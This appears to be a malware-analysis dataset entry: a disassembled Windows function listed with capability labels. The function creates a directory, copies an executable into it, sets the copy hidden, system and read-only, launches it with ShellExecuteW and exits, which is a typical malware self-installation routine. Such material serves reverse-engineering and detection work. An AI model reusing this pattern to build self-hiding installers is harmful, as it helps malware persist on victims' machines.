Function at 0x40bc67
Capabilities:
Copy file
Create directory
Create process on windows
Set file attributes
Terminate process

Disassembly:
sub esp, 0x38
push ebx
push ebp
push esi
push edi
mov edi, edx
mov byte [esp + 0x17], cl
push edi
call fcn.0043a611
mov ebp, 0x474310
pop ecx
test eax, eax
je 0x40bcce
push 0
mov ecx, ebp
call fcn.00401e07
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [esp + 0x4c]
lea ecx, [esp + 0x30]
push ebx
push 0x465aa0
mov edx, ebp
call fcn.0040856b
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.004028cf
pop ecx
mov esi, 0x4742e0
push eax
mov ecx, esi
call fcn.00401e18
lea ecx, [esp + 0x18]
call fcn.00401e13
jmp 0x40bcee
mov ebx, dword [esp + 0x4c]
lea ecx, [esp + 0x30]
mov dl, byte [esp + 0x17]
push ebx
call fcn.0040c89e
pop ecx
mov esi, 0x4742e0
push eax
mov ecx, esi
call fcn.00401e18
lea ecx, [esp + 0x30]
call fcn.00401e13
mov ecx, esi
call fcn.00401e07
push eax
mov ebp, 0x471b80
push ebp
call fcn.0043e479
pop ecx
pop ecx
test eax, eax
jne 0x40bd2d
mov ecx, 0x4742c8
call fcn.00401e07
push eax
push ecx
call fcn.0040bb7b
pop ecx
pop ecx
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret
push 0
mov ecx, esi
call fcn.00401e07
push eax
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CopyFileW]
call ebp
test eax, eax
jne 0x40be07
cmp byte [esp + 0x17], 0x36
je 0x40be07
push edi
call fcn.0043a611
mov dl, 0x36
pop ecx
lea ecx, [esp + 0x30]
test eax, eax
je 0x40bdb7
push edi
call fcn.0040c89e
pop ecx
push eax
mov ecx, 0x474310
call fcn.00401e18
lea ecx, [esp + 0x30]
call fcn.00401e13
push ebx
push 0x465aa0
mov edx, 0x474310
lea ecx, [esp + 0x20]
call fcn.0040856b
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.004028cf
pop ecx
push eax
mov ecx, esi
call fcn.00401e18
lea ecx, [esp + 0x30]
call fcn.00401e13
lea ecx, [esp + 0x18]
jmp 0x40bdca
push ebx
call fcn.0040c89e
pop ecx
push eax
mov ecx, esi
call fcn.00401e18
lea ecx, [esp + 0x30]
call fcn.00401e13
push 0
mov ecx, 0x474310
call fcn.00401e07
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
mov ecx, esi
call fcn.00401e07
push eax
mov ebx, 0x471b80
push ebx
call ebp
test eax, eax
jne 0x40be07
push ebx
mov ecx, esi
call fcn.004082d7
xor al, al
jmp 0x40bd25
mov ecx, 0x4742c8
call fcn.00401e07
push eax
push ecx
call fcn.0040bb7b
cmp byte [esp + 0x58], 1
pop ecx
pop ecx
jne 0x40be4d
push 7
mov ecx, esi
call fcn.00401e07
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
call ebx
push edi
call fcn.0043a611
pop ecx
test eax, eax
je 0x40be4d
push 7
mov ecx, 0x474310
call fcn.00401e07
push eax
call ebx
cmp byte [esp + 0x54], 0
je 0x40be95
sub esp, 0x1c
mov ecx, esp
push 0x471b80
call fcn.00403b40
push 0x4661d4
mov edx, 0x4742f8
lea ecx, [esp + 0x50]
call fcn.0041ae08
mov ecx, eax
call fcn.00401e07
mov edx, eax
mov ecx, connect
call fcn.00412774
add esp, 0x20
lea ecx, [esp + 0x30]
call fcn.00401e13
push dword [0x471d90]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
mov eax, 0x465900
mov ecx, esi
push eax
push eax
call fcn.00401e07
push eax
push 0x46559c
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x40bece
call fcn.0040bed7
jmp 0x40be00
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]